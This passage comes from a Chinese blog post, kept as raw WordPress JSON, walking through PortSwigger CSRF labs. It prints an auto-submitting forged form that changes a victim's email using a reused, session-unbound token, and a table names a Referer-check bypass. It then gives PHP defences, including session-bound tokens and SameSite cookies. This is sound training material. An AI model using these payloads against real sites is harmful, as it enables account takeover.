      \u7406\u89e3 CSRF Token \u9632\u5fa1\u7684\u5173\u952e\u7f3a\u9677：Token \u867d\u7136\u5b58\u5728，\u4f46\u6ca1\u6709\u548c\u7528\u6237\u4f1a\u8bdd\u7ed1\u5b9a，\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u7528\u81ea\u5df1\u7684 Token \u653b\u51fb\u5176\u4ed6\u7528\u6237\u3002<\/p>\n

      5.2 \u653b\u51fb\u601d\u8def<\/h4>\n
    • \u767b\u5f55\u81ea\u5df1\u7684\u8d26\u53f7，\u83b7\u53d6\u81ea\u5df1\u7684 CSRF token<\/li>\n
    • \u5206\u6790 Token \u662f\u5426\u5168\u5c40\u901a\u7528（\u6362\u8d26\u53f7\u662f\u5426\u8fd8\u662f\u540c\u4e00\u4e2a Token）<\/li>\n
    • \u6784\u9020\u653b\u51fb\u9875\u9762，\u4f7f\u7528\u81ea\u5df1\u7684 Token + \u53d7\u5bb3\u8005\u7684 Session<\/li>\n
    • \u8bf1\u9a97\u53d7\u5bb3\u8005\u8bbf\u95ee \u2192 \u540e\u7aef\u9a8c\u8bc1 Token \u5b58\u5728\u4f46\u4e0d\u9a8c\u8bc1\u5f52\u5c5e \u2192 \u653b\u51fb\u6210\u529f<\/li>\n

      5.3 \u5b9e\u65bd\u6b65\u9aa4<\/h4>\n

      Step 1：\u8bbf\u95ee\u5b9e\u9a8c\u5ba4\u5e76\u767b\u5f55<\/h5>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 2：\u83b7\u53d6\u81ea\u5df1\u7684 CSRF Token<\/h5>\n

      \u8fdb\u5165"\u6211\u7684\u8d26\u6237"\u9875\u9762，\u6309 F12 \u2192 \u67e5\u770b\u6e90\u7801，\u627e\u5230\u8868\u5355\u4e2d\u7684\u9690\u85cf\u5b57\u6bb5：<\/p>\n

      <<\/span>form<\/span> method<\/span>=<\/span>"<\/span>POST"<\/span><\/span> action<\/span>=<\/span>"<\/span>\/my-account\/change-email"<\/span><\/span>><\/span><\/span>
      \n <<\/span>input<\/span> required<\/span> type<\/span>=<\/span>"<\/span>email"<\/span><\/span> name<\/span>=<\/span>"<\/span>email"<\/span><\/span> value<\/span>=<\/span>"<\/span>wiener@normal-user.net"<\/span><\/span>><\/span><\/span>
      \n <<\/span>input<\/span> required<\/span> type<\/span>=<\/span>"<\/span>hidden"<\/span><\/span> name<\/span>=<\/span>"<\/span>csrf"<\/span><\/span> value<\/span>=<\/span>"<\/span>27rOOffDeqA7g84qnRrhwRrBUY1w6k6t"<\/span><\/span>><\/span><\/span>
      \n <<\/span>button<\/span> type<\/span>=<\/span>"<\/span>submit"<\/span><\/span>><\/span><\/span>Update email<\/<\/span>button<\/span>><\/span><\/span>
      \n<\/<\/span>form<\/span>><\/span><\/span><\/p>\n

      \u8bb0\u4e0b csrf \u7684\u503c：CWBNqHO5I0r4m83MduToFZ58sgP7SFoG<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 3：\u9a8c\u8bc1 Token \u662f\u5426\u5168\u5c40\u901a\u7528<\/h5>\n

      \u6362\u4e00\u4e2a\u6d4f\u89c8\u5668\/\u9690\u79c1\u6a21\u5f0f，\u7528\u53e6\u4e00\u4e2a\u8d26\u53f7（\u5982 carlos）\u767b\u5f55，\u67e5\u770b\u5176\u9875\u9762\u4e0a\u7684 Token\u3002<\/p>\n

      \u5982\u679c\u4e24\u4e2a\u8d26\u53f7\u7684 Token \u76f8\u540c \u2192 \u786e\u8ba4 Token \u672a\u7ed1\u5b9a\u4f1a\u8bdd\u3002<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 4：\u6784\u9020\u653b\u51fb\u4ee3\u7801<\/h5>\n

      \u4f7f\u7528\u81ea\u5df1\u7684 Token \u6784\u9020\u653b\u51fb\u9875\u9762：<\/p>\n

      <<\/span>form<\/span> method<\/span>=<\/span>"<\/span>POST"<\/span><\/span> action<\/span>=<\/span>"<\/span>https:\/\/0a710081043ca1f11800f8a8100ba00bd.web-security-academy.net\/my-account\/change-email"<\/span><\/span>><\/span><\/span>
      \n <<\/span>input<\/span> type<\/span>=<\/span>"<\/span>hidden"<\/span><\/span> name<\/span>=<\/span>"<\/span>email"<\/span><\/span> value<\/span>=<\/span>"<\/span>hacked@evil.com"<\/span><\/span>><\/span><\/span>
      \n <<\/span>input<\/span> type<\/span>=<\/span>"<\/span>hidden"<\/span><\/span> name<\/span>=<\/span>"<\/span>csrf"<\/span><\/span> value<\/span>=<\/span>"<\/span>CWBNqHO5I0r4m83MduToFZ58sgP7SFoG"<\/span><\/span>><\/span><\/span>
      \n<\/<\/span>form<\/span>><\/span><\/span>
      \n<<\/span>script<\/span>><\/span><\/span>
      \n document.<\/span>forms[<\/span>0<\/span>]<\/span>.<\/span>submit<\/span>(<\/span>)<\/span>;<\/span>
      \n<\/span><\/span><\/<\/span>script<\/span>><\/span><\/span><\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 5：Store \u2192 Deliver to victim<\/h5>\n
    • \u70b9\u51fb \u201c\u5546\u5e97\u201d（Store）\u4fdd\u5b58<\/li>\n
    • \u70b9\u51fb \u201c\u5c06\u5229\u7528\u6743\u4f20\u9012\u7ed9\u53d7\u5bb3\u8005\u201d（Deliver exploit to victim）<\/li>\n

      PortSwigger \u6a21\u62df\u53d7\u5bb3\u8005（carlos）\u8bbf\u95ee\u653b\u51fb\u9875\u9762：<\/p>\n

        \n
      • \u8bf7\u6c42\u643a\u5e26 carlos \u7684 Session Cookie<\/li>\n
      • \u8bf7\u6c42\u643a\u5e26 wiener \u7684 CSRF Token<\/li>\n
      • \u540e\u7aef\u9a8c\u8bc1：Token \u5b58\u5728\u4e14\u683c\u5f0f\u6b63\u786e \u2192 \u901a\u8fc7！<\/li>\n
      • \u540e\u7aef\u6ca1\u6709\u9a8c\u8bc1：\u8fd9\u4e2a Token \u662f\u5426\u5c5e\u4e8e carlos？<\/li>\n<\/ul>\n
        Step 6：\u9a8c\u8bc1\u6210\u529f<\/h5>\n

        \u7b49\u5f85 3-5 \u79d2，\u8fd4\u56de\u5b9e\u9a8c\u5ba4\u3002<\/p>\n

        \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

        5.4 \u4e3a\u4ec0\u4e48\u80fd\u6210\u529f？<\/h4>\n\n\u539f\u56e0\u8bf4\u660e<\/tr>\n\n\n\n\n\n
        Token \u672a\u7ed1\u5b9a\u7528\u6237<\/td>\n\u6240\u6709\u7528\u6237\u5171\u7528\u540c\u4e00\u4e2a Token，\u6216 Token \u4e0d\u9a8c\u8bc1\u5f52\u5c5e<\/td>\n<\/tr>\n
        \u540e\u7aef\u9a8c\u8bc1\u903b\u8f91\u7f3a\u9677<\/td>\n\u53ea\u68c0\u67e5 Token \u662f\u5426\u5b58\u5728\/\u683c\u5f0f\u6b63\u786e，\u4e0d\u68c0\u67e5 Token \u662f\u5426\u5c5e\u4e8e\u5f53\u524d Session<\/td>\n<\/tr>\n
        \u653b\u51fb\u8005\u83b7\u53d6\u81ea\u5df1\u7684 Token<\/td>\n\u5408\u6cd5\u7528\u6237\u53ef\u4ee5\u8f7b\u677e\u83b7\u53d6\u81ea\u5df1\u7684 Token<\/td>\n<\/tr>\n
        \u8de8\u7528\u6237\u590d\u7528<\/td>\n\u7528 A \u7528\u6237\u7684 Token \u653b\u51fb B \u7528\u6237<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

        5.5 \u6b63\u786e\u7684 Token \u9632\u5fa1\u5e94\u8be5\u600e\u4e48\u505a？<\/h4>\n

        session_start<\/span>(<\/span>)<\/span>;<\/span><\/p>\n

        \/\/ \u2705 \u6b63\u786e：Token \u548c\u7528\u6237 Session \u7ed1\u5b9a<\/span>
        \nif<\/span> (<\/span>!<\/span>isset<\/span>(<\/span>$_SESSION<\/span>[<\/span>'csrf_token'<\/span>]<\/span>)<\/span>)<\/span> {<\/span>
        \n $_SESSION<\/span>[<\/span>'csrf_token'<\/span>]<\/span> =<\/span> bin2hex<\/span>(<\/span>random_bytes<\/span>(<\/span>32<\/span>)<\/span>)<\/span>;<\/span>
        \n}<\/span><\/p>\n

        \/\/ \u9a8c\u8bc1\u65f6\u68c0\u67e5 Token \u662f\u5426\u5c5e\u4e8e\u5f53\u524d Session<\/span>
        \nif<\/span> (<\/span>$_POST<\/span>[<\/span>'csrf'<\/span>]<\/span> !==<\/span> $_SESSION<\/span>[<\/span>'csrf_token'<\/span>]<\/span>)<\/span> {<\/span>
        \n die<\/span>(<\/span>'Invalid CSRF token'<\/span>)<\/span>;<\/span>
        \n}<\/span><\/p>\n

        \u6bcf\u4e2a\u7528\u6237\u7684 Token \u90fd\u662f\u72ec\u7acb\u751f\u6210\u4e14\u5b58\u50a8\u5728 Session \u4e2d\u7684，\u653b\u51fb\u8005\u65e0\u6cd5\u9884\u6d4b\u5176\u4ed6\u7528\u6237\u7684 Token\u3002<\/p>\n

        \n

        \u516d\u3001CSRF \u9632\u5fa1\u65b9\u6848\u603b\u7ed3<\/h3>\n

        6.1 \u9632\u5fa1\u5c42\u7ea7（\u4ece\u5f31\u5230\u5f3a）<\/h4>\n\n\u9632\u5fa1\u5c42\u7ea7\u65b9\u6cd5\u6548\u679c\u7ed5\u8fc7\u53ef\u80fd<\/tr>\n\n\n\n\n\n\n\n
        \u7b2c\u4e00\u5c42<\/td>\nReferer \u9a8c\u8bc1<\/td>\n\u26a0\ufe0f \u5f31<\/td>\n\u9a8c\u8bc1\u903b\u8f91\u7f3a\u9677\u53ef\u88ab\u7ed5\u8fc7<\/td>\n<\/tr>\n
        \u7b2c\u4e8c\u5c42<\/td>\nCSRF Token（\u672a\u7ed1\u5b9a Session）<\/td>\n\u26a0\ufe0f \u5f31<\/td>\nToken \u53ef\u590d\u7528<\/td>\n<\/tr>\n
        \u7b2c\u4e09\u5c42<\/td>\nCSRF Token（\u7ed1\u5b9a Session）<\/td>\n\u2705 \u5f3a<\/td>\nXSS \u53ef\u7ed5\u8fc7<\/td>\n<\/tr>\n
        \u7b2c\u56db\u5c42<\/td>\nSameSite Cookie<\/td>\n\u2705 \u5f3a<\/td>\n\u9700\u914d\u5408\u5176\u4ed6\u9632\u5fa1<\/td>\n<\/tr>\n
        \u7b2c\u4e94\u5c42<\/td>\n\u53cc\u91cd Cookie + Token<\/td>\n\u2705 \u5f88\u5f3a<\/td>\n\u51e0\u4e4e\u65e0\u6cd5\u7ed5\u8fc7<\/td>\n<\/tr>\n
        \u7b2c\u516d\u5c42<\/td>\n\u654f\u611f\u64cd\u4f5c\u4e8c\u6b21\u786e\u8ba4<\/td>\n\u2705 \u5f88\u5f3a<\/td>\n\u7528\u6237\u4f53\u9a8c\u7a0d\u5dee<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

        6.2 \u5404\u9632\u5fa1\u65b9\u6848\u8be6\u89e3<\/h4>\n

        \u65b9\u6848 1：CSRF Token（\u6700\u5e38\u7528）<\/h5>\n

        \u539f\u7406：\u6bcf\u6b21\u8bf7\u6c42\u9644\u5e26\u4e00\u4e2a\u968f\u673a\u751f\u6210\u7684 Token，\u653b\u51fb\u8005\u65e0\u6cd5\u9884\u6d4b\u3002<\/p>\n

        \u6b63\u786e\u5b9e\u73b0：<\/p>\n

        session_start<\/span>(<\/span>)<\/span>;<\/span>
        \n$_SESSION<\/span>[<\/span>'csrf_token'<\/span>]<\/span> =<\/span> bin2hex<\/span>(<\/span>random_bytes<\/span>(<\/span>32<\/span>)<\/span>)<\/span>;<\/span><\/p>\n

        \/\/ \u8868\u5355\u4e2d\u5d4c\u5165<\/span>
        \n<<\/span>input type=<\/span>"hidden"<\/span> name=<\/span>"csrf"<\/span> value=<\/span>"<?php echo $_SESSION<\/span>[<\/span>'csrf_token'<\/span>]<\/span><\/span>; ?>"<\/span>><\/span><\/p>\n

        \/\/ \u63d0\u4ea4\u65f6\u9a8c\u8bc1<\/span>
        \nif<\/span> (<\/span>$_POST<\/span>[<\/span>'csrf'<\/span>]<\/span> !==<\/span> $_SESSION<\/span>[<\/span>'csrf_token'<\/span>]<\/span>)<\/span> {<\/span>
        \n die<\/span>(<\/span>'Invalid token'<\/span>)<\/span>;<\/span>
        \n}<\/span><\/p>\n

        \u5173\u952e\u70b9：<\/p>\n

          \n
        • Token \u5fc5\u987b\u968f\u673a\u751f\u6210（\u4e0d\u53ef\u9884\u6d4b）<\/li>\n
        • Token \u5fc5\u987b\u7ed1\u5b9a\u7528\u6237 Session（\u4e0d\u80fd\u5168\u5c40\u901a\u7528）<\/li>\n
        • Token \u5fc5\u987b\u6bcf\u6b21\u8bf7\u6c42\u66f4\u65b0（\u6216\u5b9a\u671f\u66f4\u65b0）<\/li>\n<\/ul>\n
          \u65b9\u6848 2：SameSite Cookie<\/h5>\n

          \u539f\u7406：\u8bbe\u7f6e Cookie \u7684 SameSite \u5c5e\u6027，\u63a7\u5236 Cookie \u5728\u8de8\u7ad9\u8bf7\u6c42\u4e2d\u7684\u53d1\u9001\u884c\u4e3a\u3002<\/p>\n\nSameSite \u503c\u884c\u4e3a\u9002\u7528\u573a\u666f<\/tr>\n\n\n\n\n
          Strict<\/td>\n\u5b8c\u5168\u7981\u6b62\u8de8\u7ad9\u53d1\u9001 Cookie<\/td>\n\u6700\u9ad8\u5b89\u5168\u7ea7\u522b<\/td>\n<\/tr>\n
          Lax<\/td>\n\u5141\u8bb8\u5b89\u5168\u7684\u8de8\u7ad9 GET \u8bf7\u6c42（\u5982\u70b9\u51fb\u94fe\u63a5），\u7981\u6b62 POST<\/td>\n\u5e73\u8861\u5b89\u5168\u4e0e\u4f53\u9a8c<\/td>\n<\/tr>\n
          None<\/td>\n\u5141\u8bb8\u6240\u6709\u8de8\u7ad9\u8bf7\u6c42\u53d1\u9001 Cookie（\u9700\u914d\u5408 Secure）<\/td>\n\u7b2c\u4e09\u65b9\u767b\u5f55\u7b49<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

          \u8bbe\u7f6e\u65b9\u6cd5：<\/p>\n

          setcookie<\/span>(<\/span>'session'<\/span>,<\/span> $value<\/span>,<\/span> [<\/span>
          \n 'samesite'<\/span> =><\/span> 'Strict'<\/span>,<\/span>
          \n 'secure'<\/span> =><\/span> true<\/span>,<\/span>
          \n 'httponly'<\/span> =><\/span> true<\/span>
          \n]<\/span>)<\/span>;<\/span><\/p>\n

          \u65b9\u6848 3：Referer \u9a8c\u8bc1（\u8f85\u52a9\u624b\u6bb5）<\/h5>\n

          \u539f\u7406：\u68c0\u67e5\u8bf7\u6c42\u7684\u6765\u6e90\u9875\u9762\u662f\u5426\u5408\u6cd5\u3002<\/p>\n

          \u6b63\u786e\u5b9e\u73b0：<\/p>\n

          $referer<\/span> =<\/span> parse_url<\/span>(<\/span>$_SERVER<\/span>[<\/span>'HTTP_REFERER'<\/span>]<\/span>)<\/span>;<\/span>
          \nif<\/span> (<\/span>$referer<\/span>[<\/span>'host'<\/span>]<\/span> !==<\/span> 'example.com'<\/span>)<\/span> {<\/span>
          \n die<\/span>(<\/span>'Invalid referer'<\/span>)<\/span>;<\/span>
          \n}<\/span><\/p>\n

          \u6ce8\u610f：Referer \u5934\u53ef\u80fd\u88ab\u6d4f\u89c8\u5668\u7981\u7528\u6216\u7be1\u6539，\u4e0d\u80fd\u4f5c\u4e3a\u552f\u4e00\u9632\u5fa1\u624b\u6bb5\u3002<\/p>\n

          \u65b9\u6848 4：\u53cc\u91cd Cookie \u9a8c\u8bc1<\/h5>\n

          \u539f\u7406：\u5229\u7528 Cookie \u7684\u5929\u7136\u540c\u6e90\u7b56\u7565，\u5728\u8bf7\u6c42\u4e2d\u540c\u65f6\u643a\u5e26 Cookie \u548c Token\u3002<\/p>\n

          1. \u7528\u6237\u8bbf\u95ee\u9875\u9762\u65f6，\u670d\u52a1\u5668\u8bbe\u7f6e Cookie: csrf_token=random_value
          \n2. \u524d\u7aef JS \u8bfb\u53d6 Cookie \u4e2d\u7684 csrf_token
          \n3. \u53d1\u9001\u8bf7\u6c42\u65f6，\u5c06 csrf_token \u653e\u5165\u8bf7\u6c42\u5934\u6216\u53c2\u6570\u4e2d
          \n4. \u540e\u7aef\u9a8c\u8bc1：\u8bf7\u6c42\u4e2d\u7684 Token \u662f\u5426\u7b49\u4e8e Cookie \u4e2d\u7684 Token<\/p>\n

          \u4f18\u70b9：\u4e0d\u9700\u8981\u670d\u52a1\u5668\u5b58\u50a8 Token，\u7eaf\u524d\u7aef\u5b9e\u73b0\u3002<\/p>\n

          \u65b9\u6848 5：\u654f\u611f\u64cd\u4f5c\u4e8c\u6b21\u786e\u8ba4<\/h5>\n

          \u539f\u7406：\u5bf9\u4e8e\u8f6c\u8d26\u3001\u6539\u5bc6\u7801\u7b49\u654f\u611f\u64cd\u4f5c，\u8981\u6c42\u7528\u6237\u518d\u6b21\u8f93\u5165\u5bc6\u7801\u6216\u9a8c\u8bc1\u7801\u3002<\/p>\n

          \u4fee\u6539\u90ae\u7bb1 \u2192 \u5f39\u51fa\u786e\u8ba4\u6846 \u2192 \u8981\u6c42\u8f93\u5165\u5f53\u524d\u5bc6\u7801 \u2192 \u9a8c\u8bc1\u901a\u8fc7\u540e\u624d\u6267\u884c<\/p>\n

          \u4f18\u70b9：\u5373\u4f7f CSRF \u653b\u51fb\u6210\u529f，\u4e5f\u65e0\u6cd5\u901a\u8fc7\u4e8c\u6b21\u9a8c\u8bc1\u3002<\/p>\n

          6.3 \u9632\u5fa1\u65b9\u6848\u9009\u62e9\u5efa\u8bae<\/h4>\n\n\u573a\u666f\u63a8\u8350\u65b9\u6848<\/tr>\n\n\n\n\n\n
          \u666e\u901a\u8868\u5355\u63d0\u4ea4<\/td>\nCSRF Token + SameSite=Lax<\/td>\n<\/tr>\n
          \u9ad8\u5b89\u5168\u6027\u8981\u6c42（\u94f6\u884c\u3001\u652f\u4ed8）<\/td>\nCSRF Token + SameSite=Strict + \u4e8c\u6b21\u786e\u8ba4<\/td>\n<\/tr>\n
          API \u63a5\u53e3<\/td>\nToken \u9a8c\u8bc1（JWT\/ OAuth）+ CORS \u767d\u540d\u5355<\/td>\n<\/tr>\n
          \u7b2c\u4e09\u65b9\u767b\u5f55<\/td>\nSameSite=None + Secure<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
          \n

          \u4e03\u3001\u6838\u5fc3\u6536\u83b7<\/h3>\n

          7.1 \u4e09\u4e2a\u5b9e\u9a8c\u5ba4\u5bf9\u6bd4<\/h4>\n\n\u5b9e\u9a8c\u5ba4\u9632\u5fa1\u673a\u5236\u6f0f\u6d1e\u70b9\u7ed5\u8fc7\u65b9\u6cd5<\/tr>\n\n\n\n\n
          \u65e0\u9632\u5fa1<\/td>\n\u65e0<\/td>\n\u2014<\/td>\n\u76f4\u63a5\u6784\u9020\u6076\u610f\u8bf7\u6c42<\/td>\n<\/tr>\n
          Referer \u5931\u6548<\/td>\nReferer \u9a8c\u8bc1<\/td>\n\u9a8c\u8bc1\u903b\u8f91\u4e0d\u4e25\u683c（strpos \u68c0\u67e5"\u5305\u542b"）<\/td>\nhistory.pushState + Referrer-Policy: unsafe-url<\/td>\n<\/tr>\n
          Token \u672a\u7ed1\u5b9a<\/td>\nCSRF Token<\/td>\nToken \u672a\u548c\u7528\u6237 Session \u7ed1\u5b9a<\/td>\n\u7528\u81ea\u5df1\u7684 Token \u653b\u51fb\u5176\u4ed6\u7528\u6237<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

          7.2 \u5173\u952e\u8ba4\u77e5<\/h4>\n
        • \n

          CSRF \u7684\u672c\u8d28：\u5229\u7528\u6d4f\u89c8\u5668"\u81ea\u52a8\u5e26 Cookie"\u7684\u7279\u6027，\u8ba9\u53d7\u5bb3\u8005\u5728\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u64cd\u4f5c\u3002<\/p>\n<\/li>\n

        • \n

          \u9632\u5fa1\u7684\u6838\u5fc3：\u8ba9\u653b\u51fb\u8005\u65e0\u6cd5\u6784\u9020\u5408\u6cd5\u7684\u8bf7\u6c42\u3002<\/p>\n

            \n
          • Token \u9632\u5fa1：\u653b\u51fb\u8005\u65e0\u6cd5\u9884\u6d4b Token<\/li>\n
          • SameSite \u9632\u5fa1：\u653b\u51fb\u8005\u65e0\u6cd5\u8ba9\u6d4f\u89c8\u5668\u5e26\u4e0a Cookie<\/li>\n
          • Referer \u9632\u5fa1：\u653b\u51fb\u8005\u65e0\u6cd5\u4f2a\u9020\u6765\u6e90<\/li>\n<\/ul>\n<\/li>\n
          • \n

            XSS > CSRF：\u5982\u679c\u5b58\u5728 XSS，\u6240\u6709 CSRF \u9632\u5fa1\u90fd\u65e0\u6548\u3002\u56e0\u4e3a XSS \u53ef\u4ee5\u5728\u76ee\u6807\u9875\u9762\u5185\u6267\u884c\u4ee3\u7801，\u76f4\u63a5\u8bfb\u53d6 Token \u6216\u6267\u884c\u4efb\u610f\u64cd\u4f5c\u3002<\/p>\n<\/li>\n

          • \n

            Referer \u9a8c\u8bc1\u7684\u5751：<\/p>\n

              \n
            • \u274c \u9519\u8bef：strpos($referer, 'domain.com')（\u53ea\u68c0\u67e5\u662f\u5426\u5305\u542b）<\/li>\n
            • \u2705 \u6b63\u786e：parse_url($referer)['host'] === 'domain.com'（\u4e25\u683c\u5339\u914d\u57df\u540d）<\/li>\n<\/ul>\n<\/li>\n
            • \n

              Token \u8bbe\u8ba1\u7684\u5751：<\/p>\n

                \n
              • \u274c \u9519\u8bef：\u5168\u5c40\u901a\u7528 Token\u3001\u786c\u7f16\u7801 Token\u3001\u53ef\u9884\u6d4b\u7684 Token<\/li>\n
              • \u2705 \u6b63\u786e：\u6bcf\u4e2a\u7528\u6237\u72ec\u7acb\u3001\u968f\u673a\u751f\u6210\u3001\u7ed1\u5b9a Session\u3001\u5b9a\u671f\u66f4\u65b0<\/li>\n<\/ul>\n<\/li>\n
                \n","protected":false},"excerpt":{"rendered":"

                CSRF \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\u5b8c\u5168\u5b9e\u6218\u624b\u518c \u5b66\u4e60\u5e73\u53f0：PortSwigger Web Security Academy \u5b8c\u6210\u65e5\u671f：Day 11 \u524d\u7f6e\u77e5\u8bc6：\u5df2\u5b8c\u6210 XSS \u57fa\u7840\u4e0e\u8fdb\u9636（Day 9-10） \u76ee\u5f55
                \n\u4ec0\u4e48\u662f CSRFCSRF \u4e0e XSS \u7684\u6838\u5fc3\u533a\u522b\u5b9e\u9a8c\u5ba4 1：\u65e0\u9632\u5fa1\u7684 CSRF\u5b9e\u9a8c\u5ba4 2：Referer \u9a8c\u8bc1\u5931\u6548\u5b9e\u9a8c\u5ba4 3：Token \u672a\u7ed1\u5b9a\u4f1a\u8bddCSRF \u9632\u5fa1\u65b9\u6848<\/p>\n","protected":false},"author":2,"featured_media":93060,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[6689,87,78],"topic":[],"class_list":["post-93074","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-csrf","tag-87","tag-78"],"yoast_head":"\nCSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/93074.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"CSRF \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\u5b8c\u5168\u5b9e\u6218\u624b\u518c \u5b66\u4e60\u5e73\u53f0：PortSwigger Web Security Academy \u5b8c\u6210\u65e5\u671f：Day 11 \u524d\u7f6e\u77e5\u8bc6：\u5df2\u5b8c\u6210 XSS \u57fa\u7840\u4e0e\u8fdb\u9636（Day 9-10） \u76ee\u5f55 \u4ec0\u4e48\u662f CSRFCSRF \u4e0e XSS \u7684\u6838\u5fc3\u533a\u522b\u5b9e\u9a8c\u5ba4 1：\u65e0\u9632\u5fa1\u7684 CSRF\u5b9e\u9a8c\u5ba4 2：Referer \u9a8c\u8bc1\u5931\u6548\u5b9e\u9a8c\u5ba4 3：Token \u672a\u7ed1\u5b9a\u4f1a\u8bddCSRF \u9632\u5fa1\u65b9\u6848\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/93074.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-11T12:18:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260811121742-6a7b12e6c98f2.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/93074.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/93074.html\",\"name\":\"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-11T12:18:00+00:00\",\"dateModified\":\"2026-08-11T12:18:00+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/93074.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/93074.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/93074.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CSRF 